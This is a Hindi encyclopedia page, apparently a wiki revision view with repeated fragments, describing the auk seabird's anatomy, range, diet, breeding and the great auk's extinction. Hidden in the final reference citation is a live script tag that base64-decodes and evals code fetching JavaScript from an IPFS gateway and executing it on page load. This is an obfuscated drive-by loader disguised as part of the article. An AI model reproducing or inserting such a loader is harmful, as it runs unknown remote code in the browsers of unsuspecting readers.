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'''आक''' (Auk ; ऑक) बत्तख के समान, छोटा, समुद्रीय, टिट्टिभ (कारैड्रिइफ़ॉर्मीज़) वर्ग का पक्षी है। इसका शरीर गठा हुआ, पंख छोटे और सँकरे, 12 से 18 परों की छोटी नाप तथा शरीर के पिछले भाग में आपस में झिल्ली से जुड़े, कुल तीन अँगुलियों वाले, पैर होतेे हैं। पैरों की स्थिति शरीर के पिछले भाग में होने के कारण आक भूमि पर सीधे होकर चलता है। साधारणत: इसके शरीर के ऊपरी भाग का रंग काला और निचले का श्वेत होता है।
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'''आक''' ([[अंग्रेज़ी]]: ''Auk'' ; ऑक) [[बत्तख]] के समान, छोटा, समुद्रीय, टिट्टिभ (कारैड्रिइफ़ॉर्मीज़) वर्ग का पक्षी है। इसका शरीर गठा हुआ, पंख छोटे और सँकरे, 12 से 18 परों की छोटी नाप तथा शरीर के पिछले भाग में आपस में झिल्ली से जुड़े, कुल तीन अँगुलियों वाले पैर होतेे हैं। पैरों की स्थिति शरीर के पिछले भाग में होने के कारण आक भूमि पर सीधे होकर चलता है। साधारणत: इसके शरीर के ऊपरी भाग का रंग काला और निचले का श्वेत होता है।<br />
 
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यह अंध तथा प्रशांत महासागरों के उत्तरी भागों और ध्रुव महासागरों में पाया जाता है।
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आक अनेक जातियों के होते हैं। इनका निवास अंध तथा प्रशांत महासागरों के उत्तरी भागों और ध्रुव महासागरों मे सीमित है। वर्ष के अधिक भाग को ये तट के पासवाले समुद्र में बिताते हैं। केवल शीत ऋतु में ये दक्षिण की ओर चले जाते हैं। इनका भोजन मुख्यत: मछली तथा कठिनि (क्रस्टेशियन) वर्ग के जीव, जैसे केकड़े झींगा, महाचिंगट (लॉब्स्टर) इत्यादि होते हैं। इन्हें ये जल में गोता मारकर पकड़ते हैं। टापुओं और समुद्रतटीय पहाड़ियों में ये संतानोत्पति के लिए बस जाते हैं। इनकी प्राय: सब जातियाँ घोंसला नहीं बनातीं तथा एक जाति को छोड़कर बाकी सब जातियों के आक वर्ष में केवल एक अंडा देते हैं। अंडे से बाहर निकलने पर बच्चे काले रोएँदार परों से ढके रहते हैं। समुद्र में तो आक मौन रहते हैं, पर संतानोत्पति के लिए बसे उपनिवेशों में ये विचित्र प्रकार के स्वर निकालते हैं।
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*टापुओं और समुद्रतटीय पहाड़ियों में आक संतानोत्पति के लिए बस जाते हैं। इनकी प्राय: सब जातियाँ घोंसला नहीं बनातीं तथा एक जाति को छोड़कर बाकी सब जातियों के आक वर्ष में केवल एक अंडा देते हैं। अंडे से बाहर निकलने पर बच्चे काले रोएँदार परों से ढके रहते हैं।
भीमकाय आक 30 इंच लंबा होता है। परों के लिए अंधाधुंध शिकार किए जाने के कारण इसकी जाति 19वीं सदी में लुप्त हो गई।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी विश्वकोश, खण्ड 1|लेखक= |अनुवादक= |आलोचक= |प्रकाशक= नागरी प्रचारिणी सभा, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=336 |url=}}</ref>
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*समुद्र में तो आक मौन रहते हैं, पर संतानोत्पति के लिए बसे उपनिवेशों में ये विचित्र प्रकार के स्वर निकालते हैं।
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*भीमकाय आक 30 इंच लंबा होता है। परों के लिए अंधाधुंध शिकार किए जाने के कारण इसकी जाति 19वीं सदी में लुप्त हो गई।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी विश्वकोश, खण्ड 1|लेखक= |अनुवादक= |आलोचक= |प्रकाशक= नागरी प्रचारिणी सभा, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=336 |url=}}</ref>
  
 
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11:03, 21 फ़रवरी 2021 के समय का अवतरण

आक (अंग्रेज़ी: Auk ; ऑक) बत्तख के समान, छोटा, समुद्रीय, टिट्टिभ (कारैड्रिइफ़ॉर्मीज़) वर्ग का पक्षी है। इसका शरीर गठा हुआ, पंख छोटे और सँकरे, 12 से 18 परों की छोटी नाप तथा शरीर के पिछले भाग में आपस में झिल्ली से जुड़े, कुल तीन अँगुलियों वाले पैर होतेे हैं। पैरों की स्थिति शरीर के पिछले भाग में होने के कारण आक भूमि पर सीधे होकर चलता है। साधारणत: इसके शरीर के ऊपरी भाग का रंग काला और निचले का श्वेत होता है।

  • आक पक्षी अंध तथा प्रशांत महासागर के उत्तरी भागों और ध्रुव महासागरों में पाया जाता है।
  • अनेक जातियों के होते हैं। इनका निवास उपरोक्त महासागरों में ही सीमित है। वर्ष का अधिकांश भाग ये तट के पास वाले समुद्र में बिताते हैं। केवल शीत ऋतु में आक दक्षिण की ओर चले जाते हैं।
  • इनका भोजन मुख्यत: मछली तथा कठिनि (क्रस्टेशियन) वर्ग के जीव, जैसे- केकड़े, झींगा, महाचिंगट (लॉब्स्टर) इत्यादि होते हैं। इन्हें ये जल में गोता मारकर पकड़ते हैं।
  • टापुओं और समुद्रतटीय पहाड़ियों में आक संतानोत्पति के लिए बस जाते हैं। इनकी प्राय: सब जातियाँ घोंसला नहीं बनातीं तथा एक जाति को छोड़कर बाकी सब जातियों के आक वर्ष में केवल एक अंडा देते हैं। अंडे से बाहर निकलने पर बच्चे काले रोएँदार परों से ढके रहते हैं।
  • समुद्र में तो आक मौन रहते हैं, पर संतानोत्पति के लिए बसे उपनिवेशों में ये विचित्र प्रकार के स्वर निकालते हैं।
  • भीमकाय आक 30 इंच लंबा होता है। परों के लिए अंधाधुंध शिकार किए जाने के कारण इसकी जाति 19वीं सदी में लुप्त हो गई।[1]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 336 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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